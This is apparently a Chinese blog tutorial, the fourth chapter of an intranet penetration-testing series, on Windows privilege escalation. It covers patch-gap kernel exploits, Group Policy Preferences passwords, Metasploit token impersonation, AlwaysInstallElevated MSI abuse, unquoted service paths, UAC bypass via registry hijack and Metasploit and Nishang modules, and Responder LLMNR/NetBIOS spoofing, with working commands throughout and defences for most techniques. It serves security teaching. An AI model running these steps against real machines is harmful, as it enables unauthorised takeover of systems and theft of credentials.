内网渗透测试第四章——权限提升攻防

系统内核溢出漏洞


此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。
下面是几个方便查找相应补丁漏洞的辅助查询页面:
提权辅助脚本:https://github.com/ianxtianxt/win-exp-
Windows平台提权漏洞集合:https://github.com/SecWiki/windows-kernel-exploits

### 手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描
post/windows/gather/enum_patches
#Powershell扫描
Import-Module C:\Sherlock.ps1
Find-AllVulns

内核溢出提权

电脑里的数据就好比水缸里的水,正常情况下水满了就不会在向水缸里注水,如果继续注入,水就会溢出到外界从而污染外界环境;这里的水缸就类似与电脑里的缓冲区或者内存。
内核溢出通常依托于目标系统的漏洞,如果目标没有及时安装相应的补丁,则可能造成溢出。
查找缺失补丁和exp
使用系统指令

首先获得获得已安装的补丁
wmic qfe get caption,description,hotfixid,installedon

systeminfo | findstr KB

然后借助提权辅助站点如https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp
使用Windows-Exploit-Suggester

Windows-Exploit-Suggester可以将已安装的补丁和微软数据库中的补丁做比对,从而识别可提权的漏洞。使用方法如下:
step1.首先需要更新漏洞数据库./windows-exploit-suggester.py --update

记住最新库的文件名,如2021-05-28-mssb.xls
step2:使用systeminfo获取系统信息,将其保存,如testf.txt

step3:执行./windows-exploit-suggester.py --database 2021-05-28-mssb.xls --systeminfo test.txt
使用sherlock 脚本

sherlock和上述的Windows-Exploit-Suggester具有同样的作用。
使用方法:
step1: 输入Import-Module .\Sherlock.ps1导入脚本
step2:输入Find-AllVulns 扫描

1、组策略首选项提权简介

sysvol是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。sysvol文件夹是在安装活动目录时自动创建的,主要用来存放登陆脚本、组策略数据、其他域控制器需要的域信息。

sysvol在所有经过身份验证的域用户、域信任用户具有读权限的活动目录的域范围内共享,整个sysvol目录在所有的域控制器中是自动同步和共享的,所有的域策略都存放在sysvol下。为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,黑客就是利用这一点。

内网渗透测试第四章——权限提升攻防_第1张图片

2、组策略首选项提权分析

  • 创建组策略,批量修改域中机器的本地管理员密码

内网渗透测试第四章——权限提升攻防_第2张图片

进入「计算机配置」下的「首选项」,就可以更新一个用户啦。可以看到密码是灰色的,这是因为微软修复了这个漏洞,有点苦涩~

内网渗透测试第四章——权限提升攻防_第3张图片

计算机配置中的账户策略,也只是设置密码的复杂度、长度、过期时间等~

内网渗透测试第四章——权限提升攻防_第4张图片

  • 获取组策略的凭据

github脚本下载地址:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

下载下来,跑了一下脚本,没有发现任何密码,这是因为我上面的密码是灰色的,无法设置。

img

查看文件,发现是这样子的,里面没有密码。对于真正的早期场景来说,这里面有一个AES加密的密码,通过解密脚本,就可以拿到密码了。这充分说明了,搞安全要趁早,加油。

内网渗透测试第四章——权限提升攻防_第5张图片

3、针对组策略首选项提权的防御措施

在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项里。微软在2014年已经修复了这个漏洞,这也是为啥密码是灰色的,也就是说密码不再保存到首选项中了,所以这个实验比较苦涩,哈哈哈哈。

我用实验证明了这个攻击已经过时了,此外需要对Everyone访问权限进行设置:

  • 设置共享文件夹sysvol的访问权限
  • 将包含组策略密码的xml文件从sysvol目录中删除
  • 不要把密码放在所有域用户都能访问的文件中
  • 如果需要更改域中机器的本地管理员密码,请使用LAPS(本地管理员密码解决方案)

令牌窃取

什么是令牌

令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个账户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。令牌会持续存在于系统内部,除非操作系统重新启动。

令牌最大的特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token)代表访问控制操作主题的系统对象。密保令牌(Security Token)也叫作认证令牌或硬件令牌,是一种用于实现计算机身份校验的物理设备。会话令牌(Session Token)是交互会话的唯一身份标识符。

伪造令牌原理

伪造令牌的核心协议是Kerberos协议。kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。这里有一篇文章详细地介绍了kerberos认证流程 Kerberos协议认证,这里我简单叙述一下客户端请求证书的过程
在这里插入图片描述

客户端向认证服务器发送请求,要求得到证书
认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(Session Key)。当然,认证服务器也会向服务器发送一份证书,使服务器能够验证登录的客户端的身份。
客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。
客户端登陆服务器后,攻击者就能通过入侵服务器来窃取客户端的身份了。

1、令牌窃取

  • 进入session中
  • 输入use incognito
  • 输入list_tokens -u

内网渗透测试第四章——权限提升攻防_第6张图片

得到授权令牌:

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
WIN-D2GN1OUFTMB\ailx04

得到模拟令牌:

NT AUTHORITY\ANONYMOUS LOGON

伪造授权令牌,就可以拥有它的权限了

咱们先拿这个ailx04的令牌,whoami显示的就是ailx04

注意这里的双斜杠

impersonate_token WIN-D2GN1OUFTMB\\ailx04

内网渗透测试第四章——权限提升攻防_第7张图片

再来一个system权限,whoami显示的就是system

注意这里的双引号

内网渗透测试第四章——权限提升攻防_第8张图片

2、针对令牌窃取的防御措施

  • 及时安装微软推送的补丁
  • 不要使用来路不明的软件
  • 对令牌的时效性进行限制,越短越好
  • 采用加密存储和多重验证保护
  • 加密链路防止中间人窃听

windows操作系统配置错误利用


在 Windows 操作系统中,攻击者通常会通过系统内核溢出漏洞进行提权,但如果这种方式失败的情况,就会利用系统中的配置错误来提权。Windows 操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。

系统服务权限配置错误

windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows 服务都是以 system 权限启动的,其文件夹、文件和注册表键值都是受强访问控制机制保护的。

系统服务权限配置错误的可能

  1. 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务。
  2. 服务正在运行且无法被终止:这种符合绝大多数的漏洞利用场景,攻击者通常会利用 DLL 劫持技术尝试重启服务来提权。

Windows Installer 知识

Windows Installer 是 Windows 操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer 除了是一个安装程序外,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。

Windows Installer 分为客户端安装服务 (Msiexec.exe) 和 MSI 文件两部分,MSI 文件是 Windows Installer 的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe 一般在运行 Microsoft Update 安装更新或者安装一些软件的使用,占用内存比较多。

注册表键 AlwaysInstallElevated

注册表键 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装软件。如果启动此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI 文件

这个漏洞产生的原因是用户开启了 Windows Installer 特权安装功能,要复现这个漏洞,我们就得先在管理模板的计算机配置和用户配置中启用永远以高特权进行安装这一项
内网渗透测试第四章——权限提升攻防_第9张图片
内网渗透测试第四章——权限提升攻防_第10张图片
设置完毕后,注册表对应的值也会设置为 1,路径为HKEY_CURRENT\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
内网渗透测试第四章——权限提升攻防_第11张图片

还有这个路径HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
内网渗透测试第四章——权限提升攻防_第12张图片

PowerUp 实战利用

首先我们使用Get-RegistryAlwaysInstallElevated模块来检查注册表键是否被设置。若被设置,就意味着 MSI 文件是以 System 权限运行的,True 表示已经设置

接下来我们添加账户,运行Write-UserAddMSI模块

然后我们以普通账户运行 UserAdd.msi 账户,就会在管理员组添加了一个管理员账户,命令如下

msiexec /q /i UserAdd.msi
net user
参数 作用
/quiet 在安装过程中禁止向用户发送消息
/qn 不使用 GUI
/i 安装程序
综上所述,只要禁用 AlwaysInstallElevated,就可以阻止攻击者通过 MSI 文件进行提权

可信任服务路径漏洞

该漏洞利用了 Windows 文件路径解析的特性,并涉及服务路径的文件 / 文件夹权限。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。换句话说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

该漏洞存在两种可能性:

  1. 如果路径与服务有关,就任意创建一个服务或编译 Service 模板
  2. 如果路径与可执行文件有关,就任意创建一个可执行文件

UAC


UAC(User Account Control,用户账号控制) 是微软为了提高系统安全性在 Windows Vista 中引入的技术。UAC 要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC 在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在 Windows Vista 及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows 目录,以及读写系统登录数据库等操作,都需要经常 UAC(User Account Control,用户账号控制) 的认证。

需要 UAC 的授权才能进行的操作列表如下:

  • 配置 Windows Update
  • 增加、删除账户
  • 更改账户类型
  • 更改 UAC 的设置
  • 安装 ActiveX
  • 安装、卸载程序
  • 安装设备驱动程序
  • 将文件移动 / 复制到 Program Files 或 Windows 目录下
  • 查看其它用户的文件夹

UAC 有如下四种设置要求:

  • 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
  • 仅在程序试图更改我的计算机时通知我:这是 UAC 的默认设置。当本地 Windows 程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
  • 仅在程序试图更改我的计算机时通知我 (不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
  • 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

如何 Bypass UAC

我们可以找一些以高权限运行的,但是并没有 uac 提示的进程,然后利用 ProcessMonitor 寻找他启动调用却缺失的如 dll、注册表键值,然后我们添加对应的值达到 bypass uac 的效果。

我们 win10 以 ComputerDefaults.exe 作为 bypass 案例,我们利用 ProcessMonitor 对该进程的行为做一个监听:

先寻找 HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找 HKCR:\mssettings\Shell\Open\Command\DelegateExecute

因此当我们修改 hkcu 注册表后,运行 ComputerDefaults.exe 就会得到一个 bypass uac 后的 cmd,

当修改 HKCU\Software\Classes \ 下的键值时,会同步修改 HKCR 下面的键值。

MSF 下实战利用

Bypassuac 提权的 MSF 模块

use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection  #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。

MSF 中 Bypassuac 模块的使用前提有两个:

  1. 一是系统当前用户必须在管理员组中,
  2. 二是用户账户控制程序 UAC 设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0          
set lport 24444                #本地监听的端口,随便设置一个未被占用的端口即可
exploit

这里获取的 test 用户在管理员组中,且 UAC 设置为默认,使用 exploit/windows/local/bypassuac 模块。

Runas 模块

使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件 (需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的 shell。

使用该模块的前提:

  • 当前用户必须在管理员组中 或 知道管理员的密码,对 UAC 的设置则没有要求。
  • 用户需要手动点击弹出的程序,是

Nishang 中的 Invoke-PsUACme.ps1

Invoke-PsUACme 模块使用来自 UACME 项目的 DLL 绕过 UAC。

Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose  #使用sysprep方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose  #使用oobe方法并执行默认的payload

针对绕过 UAC 提权的防御措施

在企业网络环境中,防止绕过 UAC 的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

使用本地管理员权限登录的用户,要将 UAC 设置为 “始终通知” 或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista 中一样,总是弹出警告)。

无凭证条件下的权限获取


LLMNR 协议

LLMNR 是指本地链路多播名称解析,它是一种域名系统数据包格式。当局域网中的 DNS 服务器不可用时,DNS 客户端会使用 LLMNR 解析本地网段中机器的名称,直到 DNS 服务器恢复正常为止。LLMNR 还支持 IPv6 协议。

LLMNR 的工作过程如下:

  1. DNS 客户端在自己的内部名称缓存中查询名称
  2. 如果没有找到,主机将向主 DNS 发送名称查询请求
  3. 如果主 DNS 没有回应或者收到了错误的信息,主机会向备 DNS 发送查询请求
  4. 如果备 DNS 没有回应或者收到了错误的信息,将使用 LLMNR 进行解析
  5. 主机通过 UDP 协议向组播地址224.0.0.252的 5355 端口发送多播查询请求,以获取主机名所对应的 IP 地址。查询范围仅限于本地子网。
  6. 本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己 IP 地址的单播信息。

NetBIOS 协议

NetBIOS 是一种网络协议,一般用在十几台计算机组成的局域网中,可以根据 NetBIOS 协议广播获得计算机名称,并将其解析为相应的 IP 地址。在 Windows NT 以后版本的所有操作系统中均可使用 NetBIOS,但是它不支持 IPv6 协议。

NetBIOS 提供三种服务:

  1. NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据包。该服务需要使用域名服务器来注册 NetBIOS 的名称。默认监听 UDP 的 137 端口,也可以使用 TCP 的 137 端口。
  2. Datagram Distibution Service(数据分发服务):无连接服务。该服务负责进行错误检测和恢复,默认监听 UDP 的 138 端口。
  3. Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误与检测和恢复机制。默认使用 TCP 的 139 端口。

Net-NTLM Hash

首先先阐述一下Net-NTLM HashNTLM Hash是不一样的。NTLM Hash是指 Windows 操作系统的 Security Account Manager 中保存的用户密码散列值。NTLM Hash通常保存在 Windows 的 SAM 文件或者 NTDS.DIT 数据库中,用于对访问资源的用户进行身份认证。Net-NTLM Hash是指在网络环境中经过 NTLM 认证的散列值。挑战 / 响应验证中的 “响应” 就包含Net-NTLM Hash。使用Responder抓取通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击。

LLMNR 和 NetBIOS 欺骗攻击

如果网络目标的 DNS 服务器因发生故障而无法提供服务时,会退回 LLMNR 和 NBT-NS 进行计算机名解析。

Responder 工具

Responder 工具是监听 LLMNR 和 NBT-NS 协议的工具之一,能够抓取网络中所有 LLMNR 和 NBT-NS 请求并响应,获取最初的账户凭证。Responder 使用内置 SMB 认证服务器、MSSQL 认证服务器、HTTP 认证服务器、HTTPS 认证服务器、LDAP 认证服务器、DNS 认证服务器、WPAD 认证服务器,以及 FTP、POP3、IMAP、SMTP 等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay功能在目标系统上执行命令。

监听模式

进入目标后,如果我们没有获得任何重要的凭证和系统的相关消息,那么我们可以使用Responder的监听模式。它只会对网络中的流量进行分析,并不会主动去响应这些流量包。ResponderON代表开启该服务的监听,OFF代表关闭了该服务的监听。
在渗透测试中,如果使用Responder主动响应请求,它会自动回应客户端的请求并声明自己就是被输入了错误计算机名的那台机器,然后尝试建立 SMB 连接。紧接着客户端会发送自己的Net-NTLM Hash进行身份验证,此时将得到目标主机的Net-NTLM Hash

你可能感兴趣的:(windows,数据库)